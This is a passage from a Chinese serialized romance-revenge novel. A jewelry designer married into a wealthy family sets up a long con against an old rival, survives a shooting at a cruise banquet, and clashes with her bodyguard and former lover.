浴室里没有摄像头,估计仍有窃听器,所以姜堇把水流声开到最大,说话声音压低。 浴室里水汽蒸腾,姜堇的脸似掩在一片河面的浓雾中,半隐半现。 热气熏在人身上,渐渐分不清是水汽还是汗。陈列渐渐感到西装里的白衬衫濡湿,姜堇白腻的额上蒙一层细汗,人因呼吸不畅渐渐有眩晕之感。 陈列觉得这个场景很危险。 像极了七年前他们在逼仄的船舱里纠缠。汗液,夏夜蒸腾的热气,近乎窒息的心悸感。 他直接对姜堇说:“我想辞职。” 他发现自己做了个十分错误的决定。 当姜堇在舞池里那样看着他的时候。 他低估了姜堇对他原始而本能的吸引力。就像姜堇现下在一片水雾里抽着烟看他,他恨姜堇恨得要死,竟生出念头想上去啃噬姜堇柔嫩的唇,把她撕成碎片吞下肚去。 他应该是疯了。 他就不该和姜堇这样的人纠缠,或许滕柏仁才真正看透她本质,她就是SweetPoppy,甜蜜的罂粟。 他就该离姜堇远远的,以免一朝不慎再着了她的套,再被她坑第二次。 姜堇摇摇头:“没可能的。” 陈列:“什么意思?” 姜堇:“入了滕氏的门,哪有那么容易脱身。我是,你也是。” 陈列缄默不语。 姜堇把烟灰点在盥洗池里:“你以前被追债的那些手段,在滕二少这里都不算什么。” 她盯着陈列锋利的喉结,指尖轻轻地横向刮过。 陈列后退一步,眼底似要喷火:“你早知道,还拉我入局?” 他终是忍不住问:“我到底做了什么,让你这么恨我?” “我不恨你。”姜堇摇摇头:“可我知道你恨我,所以你不会让我死。” 说着她自嘲地笑了笑:“世界上只有你不会让我真的去死,你得看看我这种货色,活下去是什么下场。” 突然外面有动静,陈列几乎下意识伸手要去开门。 姜堇却伸手搭住他手腕,轻摇了摇头。 她开始脱浴袍的时候陈列立刻阖上眼,姜堇走进淋浴间的时候,他贴到墙面,垂眸非礼勿视。 滕柏仁的声音在外面响起:“Poppy?” 姜堇的声音一如既往冷静,冷静到陈列觉得这女人当真没有心。她回应滕柏仁:“我在洗澡。” “陈列呢?” “去吃饭了。” “龚哲怎么没有过来?” “没必要吧,屋内都检查过一遍了,我工作时不喜欢人打扰。” 门外几乎是立刻响起了手机拨号的声音。 陈列的一颗心几乎是提到了嗓子眼,紧蹙着眉——他分明和姜堇什么都没做,为什么要在这里担惊受怕? 而且姜堇为什么要撒这种一下就会被拆穿的谎? 门外滕柏仁阴郁的声线响起:“喂,龚哲,陈列和你一起在楼下吃饭吗?” “知道了。” 听上去他挂了电话,叩了叩门对姜堇说:“那我回卧室等你。” “好。” 滕柏仁的轮椅如蛇行一般嘶嘶地消失了,陈列大口喘息,却发现蒸腾的热气间,愈是大口呼吸愈觉得缺氧。 姜堇关了水走出来,陈列低着头,等她裹好浴袍才抬头。 她脸上是志在必得的清浅笑意。 陈列心跳如擂鼓,她竟知道龚哲会配合她撒谎——大概长期跟在滕柏仁身边的人,都知他有多喜怒不定,多一事不如少一事。 姜堇走出去,回到主卧,揿灭了屋里所有灯。 陈列在紫外线夜视设备启动以前,快速走出总统套房。 精致的瑞士锁让门扉闭合几无任何动静。滕柏仁不喜任何外人看见自己的影像,是以走廊里反而没有监控。陈列大口喘息,感到白衬衫黏在自己的肌肉上。 这时龚哲走过来,看了眼陈列的白衬衫。 陈列什么都没说,他也就什么都没问。 - 姜堇的生活一如往常,工地,设计,珠宝展,以及替滕氏在贵妇圈社交。 间或约了李黎几次。 这天她在咖啡馆谈完工作,信手 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她唇角边勾了勾:[还不如给我自己留着。] 陈列几乎是瞬时被她的这句话激怒了。 她总有办法激怒他。 什么叫还不如给她自己留着?她这样的说法,好似过往的她和陈列没有一点感情,只是一场玩弄。 姜堇写完这句,把这一页纸从本子上扯下来,傍晚时分咖啡馆燃起烘托氛围的小蜡烛,姜堇用纸角去撩那火苗。 渐渐地,那张纸变成了银灰的余烬。 一如她每次抽过的烟灰。 这时李黎从门口匆匆进来。 “姜小姐不好意思,久等了。”其实她是故意晾了姜堇一会儿,姜堇临时约她这件事还是令她不快。 “没事呀,谢谢你过来。”姜堇亲切地给她倒了杯花果茶。 两人闲话几句,姜堇忽然指着一张桌底叫李黎去看。 坐在那里喝咖啡的女孩,穿着一双当年李黎用来羞辱姜堇的限量版鞋。 姜堇弯唇:“这是多少年前的限量版?好怀念啊,我当年也有一双这样的鞋。” 李黎几乎呛了口茶,猛烈地呛咳起来。 姜堇贴心地抽了张纸巾递她。 “咳咳……”李黎捂着嘴道:“姜小姐也会穿这么平价的牌子?” 的确,这牌子对寻常人算奢侈品,对真正的豪门却够不上入流。 姜堇却坦然点头:“是,我有。我记得当年还有张限量版的手帕,我想把它送给我的一位旧友,可惜人家不要。” 陈列站在她身后眉心微蹙。 她到底在干什么? 几乎是引着李黎往她的真实身份上猜。 李黎的面色明显变了。她没告诉任何人其实她做过好几次梦,梦见姜雪照就是当年的姜堇,她一睁眼发现姜堇站在床头阴阴地盯着她。 嘴里道:“李黎,其实我已经死了。” 她甚至没把这个梦告诉她爸或是姜太太,因为不想任何人知道她当年做过亏心事。 姜堇看着她脸色,却又忽然转了话题。 聊起港岛即将举办的一个艺术品展。 李黎面色阴晴不定地一时没接她的话,她笑问:“不知李小姐可有兴趣?” 李黎:“我哪里够门槛。” 姜堇甚至亲切地拍了拍李黎的手背:“我在江城没朋友,你陪我这么多,我自然要回报你。” 陈列心想,李黎何至于这么蠢。 她分明都开始怀疑姜堇了,哪还会相信这样天上掉馅饼的事。 这样的好事正常人都会怀疑一番吧。 令陈列想不到的是,李黎应道:“我真的可以吗?” 姜堇弯唇:“当然。” 陈列发现自己还是低估了人性。人类的七宗罪中,最重的一宗是贪婪。 李黎的贪婪让她刻意忽视怀疑的直觉,去相信眼前就是单纯想对她示好的大小姐姜雪照。 之后姜堇带李黎飞了趟港岛。 她看起来当真对港岛十分谙熟,甚至一爿开了数十年的鱼丸小摊,与她闲谈的语气都似她自幼吃这家鱼丸长大。她也介绍了不少港岛名媛给李黎认识,其中不乏李黎之前只能在八卦小报上看到的。 回到江城以后,李黎对姜堇的身份深信不疑。 艺术品拍卖展那日,姜堇是远程操作。 李黎贡献了自己的全部家当,包括她爸和姜太太的一部分投资,尽数转给姜堇。 姜堇“好心”提醒:“李小姐,艺术品投资有风险,现在撤资还来得及。” 李黎:“姜小姐自己就是珠宝设计师,我自然全盘信赖你。” 陈列心知李黎要完,等着李黎双眼红肿闹上门来。 没想到登门来的却是喜滋滋一个李黎:“啊呀!姜小姐,你真是好眼光。” 她赚得盆满钵满。 姜堇弯一弯笑眼:“哪里话,都是朋友,下次一起发财。” 陈列于是明白了:现在李黎投入得还不够,姜堇要让她片甲不留。 53. 瑰丽 送走了李黎,姜堇让陈列陪她去取成衣。 中秋将至,滕柏仁的父母、滕氏这一代的当家人因生意关系,将赴江城办宴会。 姜堇至少提前了半个月准备。 她去试穿成衣,揣度着这样的雪青色会不会和滕太太相撞,又换作更低调些的槲寄生绿。重新量尺寸时,裁缝叫她吸气,委婉地说:“姜小姐好似丰满了点。” 腰线宽了小指甲盖那么大的一寸。 姜堇懊恼道:“喝多了酒的缘故。” 之后还要去见一群港岛提前来江城的千金小姐们。赴会的车上,姜堇始终翻阅着滕氏的族谱,滕氏人口众多,每次参与聚会的不一而足,她要一一记下。 下车走进酒楼,门口所悬的日式风铃一阵叮铃作响间,陈列忽压低声问:“值得么?” 庭院里所栽的三角枫已红了小半,预示着盛夏将要过去、即将迎来一个肃然的秋。 七年前姜堇一走了之,便是在这样一个季节。 “值得么?”姜堇重复一遍,似在玩味地揣度这三个字。 “雪照!”一阵脆亮的粤语女声。 姜堇已笑着迎了上去。 一群二十出头的年轻女孩吵得陈列脑仁疼,她们叽叽喳喳称呼对方名字,中英文混杂,陈列只记住最闹腾那个叫罗恬儿。 罗恬儿带着自己十岁出头的小侄女,看着倒还比她沉静些。 “你换保镖啦?”她睨着姜堇身边的陈列:“蛮靓仔的噢。” 姜堇应了声。 “能帮忙看孩子么?”她不由分说把自己侄女塞给陈列。 豪门千金的话题不外乎那些,赛马,游艇,谁谁谁又包了哪个小明星。 陈列瞟了姜堇一眼。 她坐在一旁搅拌一杯橙汁,看上去兴致不高。 最安静数陈列身边小女孩,竟掏出一本物理习题来做,书包里一只魔方当纸镇。 陈列瞟了眼她的题。 她立刻说:“你不懂,我做竞赛题,水平足以参加内地的竞赛。” 陈列一手摁住她的习题册,单手看似随意地将魔方拨了两拨,已拼好其中一面。 重新用魔方压住习题簿,点点难住她的那道题:“选C。” “不可能。” “你验算试试。”陈列告诉她一个公式。 抬眸,发现姜堇正含着点笑意看他,窗外霓虹初升,打在她纤长的睫毛上。 陈列几乎是立刻撇开眼神去。 罗恬儿托着腮叫自己小侄女:“喂,你跟靓仔聊什么?”一边跟姜堇低语:“你保镖靓过男明星咯。” 小侄女:“你别管,他教我做题。” “咁犀利?”罗恬儿绯色的面颊明显有些微醺:“我是智性恋来着。” 她站起来摇摇晃晃走到陈列身边,手里一杯红酒说不上有意无意,尽数泼在陈列胸前的白衬衫上。 又笑着去拽陈列的西装领:“唔好意思,我带你去清洗。” 其他千金神色暧昧。罗恬儿是她们里面玩得最花的一个,被老来得女的老爷子娇纵坏了,磕过药,不知睡过多少男明星。 陈列挣开她手:“不用了。” “走啊。” 陈列抬眸,漆黑如点墨的瞳仁看着她,没任何表情:“我说了不用。” 罗恬儿有些下不来台。 她看向姜堇:“喂,你么家招保镖没有素质考核的么?” 姜堇似笑非笑。 罗恬儿指着陈列鼻子:“我给你最后一次机会。” 陈列径直垂下眸去,看也不看她。 罗恬儿忽地扬起手臂,迅雷不及掩耳地打了陈列一巴掌。 有人忍不住出声提醒:“嗨,这是在内地。” 她们亲眼看过她在港岛如何跋扈,将一个得罪她的男明星一掌打翻在地,又拿九厘米高跟鞋去踩他的脸。 沓沓,沓沓,一阵高跟鞋声凑近。 罗恬儿回眸见是姜堇:“你不会因为一个保镖跟我计较的吧?开了这个,我明天送十个到酒店给你挑,个个胸肌大过他。” 姜堇也笑:“给她一巴掌。” 罗恬儿有点懵。 她刚刚不是给过陈列一巴掌了吗?保镖,男星,这些男色说白了都是狗,不值得尊重。 “给她一巴掌。”姜堇重说一遍,挑着唇角朝陈列看过去。 众人包括陈列,反应了一会儿才意识到她这句话是对陈列说的。 “什么?”罗恬儿的声音几乎立即拔高起来。 滕氏的门楣是高,可她们罗家在港岛也不是吃素的。 “你打不打?”姜堇用普通话问陈列,唇角弯着,可眼睛里一点笑意都没有。 陈列:“我不对女人动手。” “那好。”姜堇点了点,在所有人都没反应过来的时候,一掌朝罗恬儿的侧颊扇过去。 “你打我?”罗恬儿捂着面颊几乎忘了生气,只是彻底震惊。 她动手扇了一个保镖,和姜堇动手扇了她,这完全是两个性质的事。 “走。”姜堇拎起手袋,径直带着陈列走了出去,留下面面相觑的众人。 走到庭院,那株三角枫仍是红得宁然。 姜堇看了眼,忽地笑了:“你问我值不值得?” 一阵风铃的碎响间,她压低了声回应陈列先前的问题:“我不用再给任何人下跪,也不会再让任何人踩你的脸,你竟然问我值不值得?” 她望着那株红枫,语调苍凉得让人想起她十八岁在警局路灯下、那声同样苍凉的笑:“天底下,简直没有比这更值得的事了。” - 罗家第二天便找上门来。 罗家老爷子已年近七十,竟有罗恬儿这么个二十出头的女儿,上门来替她讨要说法,说女儿在家哭闹绝食。 滕柏仁坐在轮椅上:“什么情况?” 罗老爷子没好气:“你问她。” 姜堇在一旁沙发上坐得端祥,冲滕柏仁眨眨眼:“她打我保镖。”说着微微挑唇:“打狗也要看主人吧?” 陈列在她身后唇角紧抿,平时前方,眼神如点墨。 滕柏仁看向罗老爷子:“您听到了?” “听到什么?” “打狗也要看主人。”滕柏仁平静地说。 “你……你……”罗老爷子气得拂袖而去。 姜堇站起来欲离开。 滕柏仁叫住她:“你这么一闹,我跟罗氏打场生意战,就算我操作再好,也得几百万蒸发,就这么算了?” 姜堇俏皮道:“我赔你啊。” 她在设计行业混出名头来,手里不缺钞票。 滕柏仁笑了:“我不要你的钱。” 他操控轮椅,蛇行一般滋滋地到姜堇身边,捏了捏姜堇纤白的手指。他掌心里总有潮湿冰冷的汗气,说了句浪漫而又令人毛骨悚然的话:“我要你碎成一片片的心,都属于我。” - 有时候陈列觉得姜堇是在与虎谋皮。 中秋宴会,她已减去腰肢上小指甲盖那么一点的尺寸,穿槲寄生绿裙装去赴宴。 衣裙低调而得体得不抢滕太太风头,一张冷艳的面孔却足以令滕氏生辉。 今日聚会不只有滕家人,更有江城不少名流,姜堇一位位招呼过去。 到姜启超面前时,她微笑启唇:“姜先生。” 他已混得这般好了,与港岛政府有生意往来,够得上滕氏宴会的门槛。 姜启超也笑得得体:“姜小姐,本家之间又见面了。” 他有李黎那么好糊弄完全相信这不是姜堇吗?陈列不得而知。 宴会上,大小事务多是姜堇在操持。有不相熟的人恭谨唤她:“少夫人。” 恰好滕太太在一旁,闻言笑道:“不好随便这么叫的。两人只是订婚,于女孩子名声不好。” 那人唯唯诺诺:“是,是。” 姜堇只是微笑。 宴席上切一只直径将近一米的巨型月饼,滕先生滕太太执刀,对着相机镜头留影,他们身边最近的一个位置,留给二少爷滕柏仁。 席间滕太太掏出一只丝绒盒,打开来是只翡翠玉镯,递给姜堇:“姜小姐今天辛苦了。” 她仍是唤她姜小姐。 姜堇弯唇接过:“多谢滕太。” 姜堇去洗手间时,陈列陪在她身边。 垂手站在门口时,陈列发现通讯信号有点不良,动手微调着自己的耳麦。两位名流千金从洗手间出来,应该是港岛人,说的是粤语: “还少奶奶?嗤,滕家的门槛哪里是那么容易踏进的。就算订了婚,听起来滕太太根本还没认可她。” “你瞧见滕太太送她那只翡翠玉镯没?” “嘻,瞧见了,看起来光鲜,其实懂的都知道中秋或过年,对心里认定的儿媳妇是要按照传统送金戒指的。况且那翡翠看起来水头也一般,她自己就是珠宝设计师,心里能不知道?” 她们讥笑着走远了。 不一会儿,姜堇从洗手间走出来,面色如常。可方才的揶揄分明从洗手间开始,陈列不信她没听到。 她往前走了两步,忽转过头来冲陈列笑:“一只翡翠玉镯,水头就算再不好,竞拍会上卖一卖,也是一笔小钱,我不亏啊。” 她上了妆永远这般明丽,看不出一丝颓意。 陈列:“你要卖?” 她弯着唇答非所问:“一个‘少夫人’的名头而已。陈生……”她用粤语唤他:“我告诉你,人没有想要而得不到的东西,只看你想要的欲望有多强而已。” 陈列一句讥诮的“是,你厉害”几要脱口而出,又觉刻薄太过,堪堪咽了回去。 他退后一步望着她背影,终于想明白刚才一瞬的愠怒从何而来: 他从来不是她想要。 而他从来都知道。 - 一场中秋宴会,好似明眼人都看清姜堇在姜家地位。 姜堇却丝毫不恼,出席活动时永远那般淡雅得体。 豪门却贯会做表面功夫的,宴会上驳了姜堇的面子,之后却又命姜堇代为主持另一场晚宴。 滕太太打电话来笑得客气:“姜小姐,这场晚宴本该我们两老主持,可我们临时有事需在澳洲办,柏仁腿脚又不方便,只得劳烦你。” 陈列本以为姜堇要推拒。毕竟刚吃了一记下马威,反向还一记才是姜堇的性格。 想不到姜堇慷慨允诺:“好的滕太,应该的。” 出席晚宴的礼服是滕柏仁亲自为她挑选。 姜堇在卧室里换装时,滕柏仁坐着轮椅面对巨幅的景观窗,秋深了,似要落雨,蜿蜒的江面上蒙一层灰颓雾气。 滕柏仁忽地转过来,对守在卧室门口的陈列笑道:“她真美,是不是?” 陈列闭口不言,滕柏仁带着那种意味深长的笑意,操控轮椅往卧室而去。 咔哒一声,卧室的门锁在陈列身后闭合了。 姜堇站在镜前。 滕柏仁尤喜给她选这种鱼尾款式的礼服,因为她的腰臀比实在出色。她的腰肢和颈项、手腕、脚踝一样,都纤细得过分,好似堪堪一握便会折断,因而生出一种脆弱的美感,格外激发人心底深处的罪恶欲念。 滕柏仁的轮椅与姜堇隔着一寸距离。 他的手并未碰触姜堇,只是目光在姜堇身上游走,冰凉的。 姜堇阖了阖眼。那样的感觉,似滕柏仁总是带着潮湿冷汗的手指、抚过她每一寸柔腻的肌肤,又或是…… 姜堇睁开眼望着镜中自己时想,又或是像蛇,冰冷微糙的鳞片一寸寸在她身体爬过。 这样的打量也许持续了一刻钟,也许持续了一个世纪。 他终于操控轮椅上前来,唤姜堇:“过来。” 姜堇微微蹲低配合他轮椅的高度。 他的食指指尖打横在姜堇颈间划过,要触不触,那样的触感更似蛇尾。 他打量着镜中的姜堇:“白色很衬你,只是……瞧着太素了些,应该配条鸽血红的项链才好。” 想了想又道:“不对,鸽血红还是不够浓烈,可惜,可惜。” 他的指尖又在姜堇颈间轻轻一划,操控轮椅走开时嘴里低哼着一首歌:“Littlepoppy,sweetpoppy……” 那本是欧洲中古世纪的一首儿歌,姜堇听过原曲,唱的是“littlelily”。 此时被滕柏仁改为了“poppy”,格外阴冷的嗓音低哼出来,令人毛骨悚然。 直到他操控轮椅出了卧室后,姜堇才快速脱了礼服。 - 因为滕太通知临时,姜堇即刻便要出发去主持晚宴。 晚宴由一艘邮轮载着宾客徜徉于公海,远离任何一个国度,显得自由浪漫。姜堇事务繁多,嫌乘邮轮出海太慢,因而乘飞机到附近国度,又搭直升机飞往海面。 滕柏仁刚好到此国有公干,便与姜堇同往,送姜堇去乘直升机。 滕氏自然有私人飞机,可这次晚宴低调,不好张扬。姜堇搭乘的直升机是她自己租的,她偶尔极赶时间出席隐秘地带的珠宝展,需要动用直升机,因而与全球最大的直升机租赁公司有往来。 深秋时节,天色深灰如鸽羽。姜堇裸露着纤细光洁的小腿,却用一件黑色长款风衣把膝盖以上裹得密不透风,一根腰带束出盈盈一握的纤腰。 手里拎一只公文箱,里面装着要在公海上秘密商谈的文件。她踩着双黑色细高跟鞋走得极快,微埋着头,直升机螺旋桨煽动的巨风撩着她长发狂舞。 陈列一身黑西装显得双腿格外修长,大跨步跟在她身后。 滕柏仁的轮椅远远停在停机坪边。 身后有机场的工作人员路过,望着姜堇和陈列登机的画面,叹了句:“呵,好像拍电影海报……” 滕柏仁的视线扫过去。 那人蓦地住了嘴——他此生从未经历过这样的事,分明只是一个眼神,却让他周身冷下来。 姜堇早已适应直升机旅行,海面狂风吹着机舱摇晃,她罩着巨大的隔音耳罩仍能低头在设计簿上做功课。 直至降落在甲板上。 姜堇从舱内跃下,急急往船舱内走去。 她这一趟来得及,换装的时间已不充裕。 陈列检查室内的时候,发现姜堇倚在那面维多利亚时代的全身镜边,半笑不笑地看着他。 陈列:“?” “陈先生。”姜堇挑唇:“你再不快些完成工作出去的话,我就只好当着你的面换装了。我风衣里可什么都没穿。” 陈列脖子一梗,完成最后的检查快步走了出去。 姜堇办事得力,晚宴开始得很顺利。 她安排完一众事宜,才不疾不徐地在晚宴露面。 陈列跟在她身后,视线第一锁定的是宴会厅里那盏水晶灯。 恁地浮夸,丝丝缕缕地绽开来,像一朵烟花在半空绽放。却不是瞬息地美,长长久久地挂在那里,把数千尺的宴会厅照得犹如白昼。 浮夸得要命。 姜堇一露面,却再无人诟病那盏水晶灯,所有人视线都被她吸引。 客观来说,她五官长得美,却并非一等一的无可挑剔。可只要她一露面,无人的视线能不看向她。大抵她身上杂糅着一种矛盾的气质,你以为她是清冷高山雪的时候,她展颜一笑,又似罂粟般的妩意。 淡淡间有近妖的魅惑。 尤其她那一双浅琥珀色的眼,有时觉得婴孩般通透澄澈,有时灯光照进去,又发现那双眼其实深不见底。 陈列目光锁定在她脑后的那支簪子。 她用首饰还是极为克制,不戴任何珠宝,只用一支碎钻镶成的水晶簪挽起一头长发。 那碎钻拼镶而成的,竟是当年臭水河畔紫花地丁的模样。 陈列嘲讽地笑了笑。 姜堇似没听到,端着酒杯一一对宾客致意。 这样的晚宴上自然不乏人嫉羡。陈列听见人窃窃议论:“得意什么,上次滕太还不让人叫她少夫人呢。” 姜堇置若罔闻。 人多而杂的晚宴最是难以控场,陈列一边用耳麦与守在外场的安保组交流,一边时刻留意内场动静。 偏偏这时一个小胖子撞到姜堇身上。 “小心。”陈列立刻挡在姜堇身前。 姜堇没事,只是她一把长发太浓,一支簪子本就挽不牢。此时一撞,簪子掉在地上,小胖子的母亲道歉后慌忙带着小胖子走了。 姜堇叫陈列:“捡起来。” 陈列盯着地上那支簪子。 姜堇挑了挑眉,唇角浮出一点笑意:“陈列,捡起来。” 陈列的眉很浅地蹙了下——为什么他尝试着对她漠然处之时,她永远在尝试激怒他? 蹙眉也就 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顿时,黑西装和里面的白衬衫绽开条口子。 那种时候是感觉不到疼的,只觉得皮肤一烫。 “快走。”他压着沉沉的声线。 她很冷静,受过专业训练般将高跟细脱下拎在手里,随他快捷而无声地往安全屋避走。 作为保镖,陈列每次随行出行活动都会提前选定一处“安全屋”。 通常是洗手间,因为谁也不知要在这里躲多久,基本的生理需求比较好解决。 姜堇赤着脚,倚着身后的大理石盥洗台。身边溢着清雅的沙巴茉莉焚香,过分安宁,让刚刚突发的枪击事件显得近乎虚幻。 姜堇看一眼陈列的手臂:“你流血了。” 陈列跟着看了眼,不甚在意地:“擦破点皮。” 他偾张的肌肉随着衬衫绽开的口子露出来,是一种浓浓男性荷尔蒙的味道。他与她站得近,为了再有突发状况时最快护住她。 到这时,陈列才发现自己的心跳,并不快,只是一下下很重地撞在心壁上。 他的指尖尚且残留着她皮肤的温度。 细腻,温热。 那总让他想,如果方才的子弹射入她颈间,他触手的将已是一具冰冷的尸体。 她如早开玫瑰般灼灼的颜色,将变成一片灰白。 姜堇在他面前却显得并不紧张,只是愣神。 只是在等着这场事端过去。 当外场的安保通知陈列,外面已清场,开枪的人已抓获。陈列叫姜堇:“可以走了。” 见她一头及腰的长发还凌乱垂在身后,他从口袋里掏出簪子递她。 这女人简直是疯子。 刚刚枪击事件发生时,她竟还垂眸盯着地面这支簪子,陈列一把捡起放进口袋,带着她快速遁走。 这时她垂眸看了,却并不接,浅笑一笑,反而把他的耳麦扯掉。 “帮我把簪子插上。”她转身对着镜子,把长发在脑后挽个发髻。 他不动。 “快点,我不能松手,一松就散了。”她又一笑。 陈列懒得与她缠,上前把簪子插入她发间。 她颈后那颗浅棕的小痣露出来,他十八岁时热吻过的。 陈列一抬眸,才发现姜堇自镜间看他。她左颊下半张面孔,溅上了一滴血,也不知是方才侍应生的血,还是他的血。 很小,暗暗的红,缀在她脸上,像某种奇异的妆点,一颗暗红宝石做成的小痣。 这让她显得既旖旎,又冷漠。 他通常不怎么看她,因着这滴血多看了她一眼。 姜堇敏锐地捕捉到,开口叫他:“陈列。” “我说了,别这么叫我。” “那好,陈先生。” 陈列终于忍不住道:“你对今晚的事,好像一点都不意外。” 真奇怪,他们分明朝夕相处,却要到这枪击事件突发的洗手间里,没被滕柏仁装窃听器,才能说几句私下的对话。 姜堇一挑唇:“滕家因一笔生意跟泰国人有龃龉,今晚的宴会又在公海的邮轮上。你以为滕太太那么好心真叫我来主持局面?她早知道今晚的事,不过是试一试我这个人堪不堪重用。” 陈列:“你不怕死?” 这时,已有安保在外做进一步善后搜索的脚步声,夹杂着隐约的人声。 “哪里会死。”她的笑又变得轻曼了些:“真想闹出人命就不会选这样人多的场合了,那名侍应生也只是受伤。” “我不怕。”她抚了抚天鹅般的后颈:“陈列,我只是,有点累。” “我说了别这么叫我。” “我叫了,又怎样?” 他向她伸出一只手,她还在笑。 为什么她总在挑衅他。 又为什么她清晰知道他的软肋在哪里。 他终于伸手箍住她脖颈,纤细的,脆弱的,在刚才的一片混乱中、他展开手掌护过的。 微微拎起她抵在大理石墙砖上,逼着她仰头。 她皮肤太薄,他还没怎么加力,不过手指箍住她美人筋,她白皙的面庞上就浮一层瑰丽的血色:“我知道你恨我,但你现在是不是该叫我一声,少夫人了?” 她笑得志在必得。 她情愿拿自己的命来以身试险,换滕太太对她的信赖。 就如她所说,想要的东西不可能得不到,只不过看想要的欲望有多强烈。今晚一遭,滕氏少夫人的名头已是她的囊中之物。 陈列箍着她的纤颈:“你以为你是谁?真是什么豪门千金?” 他不知自己为何自己为何愠怒如斯。 或许是眼看她将死的惊惶。或许是发觉她是个疯子。又或许是他终究又一次确认,七年前她一次也没为他回头,是因为她不想要。 这或许是他重逢以后,情绪第一次在她面前彻底失控。 他逼近她,吐息是一种年轻健壮的男人独有的灼热,与滕柏仁阴冷潮湿的呼吸恰恰相反。他死死盯着她,目光如豹又如鹰,一低头就能狠咬住她的唇。 姜堇被他禁锢着,终是阖了阖眼。她终于发现他隐忍漠然的外表下,其实是个攻击力极强的年轻男人。真当他动起怒来,她的气力与挣扎都不是对手,只能被他沉郁而锋利的荷尔蒙牢牢笼罩。 在他的禁锢陷阱里,当他的猎物。 姜堇感到自己的心咚咚跳着,很快。 她滚了滚咽喉,听他声线沉哑地提醒她是谁:“阿堇,姜阿堇。” 陈列永远不会承认,在他换班休假的一天,他终是回到了那条臭水河边。 那时已是深秋,河面笼罩的雾呈一种灰白。 他穿一身便装站在河畔,牛仔裤,素黑卫衣的兜帽罩在头上,只露出凌厉流畅的下颌线。 七年过去,逐渐干涸的河面褪得更浅了,更大面积赃污的泥地露出来。漫地都是塑料袋、byt和垃圾,水面飘萍结得更厚,散发出腐朽气息。 陈列远远看着,河畔两条空荡荡的绳索,垂入污浊的水中。 不知泡了多久,绳头已腐了大半。 曾经的两条破船,已一条都不剩了。 姜堇的那条何时消失陈列很清楚。七年前他经过三个月漫长的审讯,回到臭水河畔,发现姜堇带走了他所有的钱,包括曾用来买他快乐的七十块。 姜堇离开前,解开了她自己那条船的缰绳。 风一程雨一程,等陈列回到河畔时,姜堇的那条船已不知飘往何方了。她总是这般决绝,连一条退路也不给自己留。 她把过去彻底放逐,把过去的姜堇彻底放逐,也把自己对陈列的一丝留恋彻底放逐。 七年后陈列回到这里,发现他曾寄住过一年的那条破船也没了。 不知是曾经的船主瞧它旧得难看不想要了,亦或根本就是缰绳自己腐了、船自动随风雨洋流飘远。 此时,陈列在豪华游轮过分奢华的洗手间里扼住姜堇的咽喉,看她绝美的脸上浮出一阵病态瑰丽的色彩。 他黑瞳垂沉,拇指在她颈间筋挛般摩了下。 他悲凉地发现自己仍是想说:“阿堇,跟我回家。” 可他们哪里还有家呢。 就连那两条破船,也随过去的他们一起,远远地、远远地飘走了。 54. 至少 姜堇乘直升机回到邻国时,滕柏仁来接机。 他好似更瘦了些,坐在染了枫叶红的秋日阳关下,双颊凹陷下去,显得一双眼讳莫如深。 姜堇笑着向他走去:“嗨。” 他的视线落在姜堇脸上,很巧的,恰是枪击那日血滴溅落姜堇眼下的一处。然后他的视线一点点往下移,直至落在姜堇白西装领口的纤细颈项,一顿。 陈列在那一刻忽地有种感觉—— 出发前他守在总统套房的卧室门前,听滕柏仁进去看姜堇试穿礼服。 厚重的木扉让滕柏仁的声音变得很模糊。 陈列听见他说:“白色太素了些,应该配条鸽血红的项链才好。” “不对,鸽血红还是不够浓烈,可惜。” 像滕柏仁这般偏执的人,竟没费尽心思去给姜堇找一条相配的宝石项链。 现在想来,他会不会早就知道? 知道那日晚宴如若不测,一颗子弹射进姜堇雪白纤细的颈项,姜堇这般绝色,总觉得她迸开的血也比他人更浓醇鲜艳些,凄艳地在姜堇颈间绕一圈。 成全了最美丽的装点。 陈列只觉得毛骨悚然。希望是他多想。 一行人回了江城。秋意更深,姜堇用乳瓷杯盛一杯锡兰红茶,站在景观窗前远眺着那条曲折的江。 电话打进来,是李黎。 她已由姜堇主导着投资过几次艺术品拍卖,数额一次比一次更巨。 陈列依稀觉得,到了收网的时候。 姜堇唇角挑着近乎魅惑的笑意,忽地回头问陈列:“你觉得最近天气好吗?” 陈列看也不看她。 她已习惯了陈列对她的不理会,纤白的指尖在透亮的窗玻璃上敲了敲。她一笔一画,在窗玻璃上无形地写李黎的名字,然后呵了口气,让那名字显现出来。 李黎不知姜堇是对陈列发问,在那头喋喋不休道:“最近天气很好啊,有空出来喝下午茶。” “是,我也觉得最近天气好得过分。”姜堇笑道。 这一次,李黎再次全身而退。 她真正变得奢阔起来,曾经可望不可及的著名配货品牌,她也成了资深玩家。身边有人嫉妒,嘲她攀上姜雪照的高枝,她反怼道:“那是因为我和姜小姐投缘,你倒也攀一个试试?” 她把这件事当笑话讲给姜堇听。 姜堇端起花草茶抿一口,睫毛轻翕:“我们之间的缘分,可深得很呢。” 李黎的电话是在一个深夜打来的。 那时姜堇正在一个俱乐部,会晤一位国外来的珠宝设计师。对方时差没倒过来,直到深夜还神采奕奕。 姜堇陪他喝酒。听他一杯杯花式调酒喝着,激情四溢讲自己那些灵光乍现的设计,姜堇自己却只喝金酒。 不经任何调配,就只是金酒,加大量的冰块。 其实她时不时露出些粗劣的习性,显得野蛮而有生命力。譬如金酒,以前根本是穷人最爱的酒,诞生之初是外出航海的荷兰船员为了预防疟疾,烈得惊人,不稀释调配根本无法入口。 她却仰头一杯杯灌下去,仰头拉出纤细的颈线。 外面暴雨倾盆,天色如晦。当李黎第三个电话打来时,她照旧接起,一只纤白的手搭在刻意做旧的木桌缘边,指尖轻轻敲着。 哒哒,哒哒。 “嗯?”她说话间似带三分慵懒的醉意,语速拖得极慢:“可我这边,还没忙完。” 做成老式风琴形状的木围栅咚地一声,被人冲撞开来。 酒吧里为数不多的会员都朝门口看去。一个年轻女人冲进来,身着奢牌套装,就连手里拎的一把伞也有鎏金兽头,可这样的天气里撑伞也无用,她浑身湿得狼狈,湿发一绺绺粘在脸上,滴落的雨珠让妆花了大半。 她不知是冷是急,浑身都在发抖。 却在姜堇面前努力维持着最后的体面:“姜小姐……不好意思,我真的有急事找你。” 姜堇身边的设计师,惊异朝她看过来。 姜堇是整间酒吧唯一没看她的一个。甚至等她说完这句话后,姜堇悠然地又喝了口酒,指尖又在桌缘轻敲两下。 哒哒,哒哒。 让陈列想起她趋于绝望的十八岁,躺在那条破船的甲板上,手攥成拳,在甲板上一下下地敲击着。 咚咚,咚咚。 不忿又充满绝望地挣扎。 姜堇这才扭过头去看她:“啊呀李小姐,怎么弄成这副样子?” 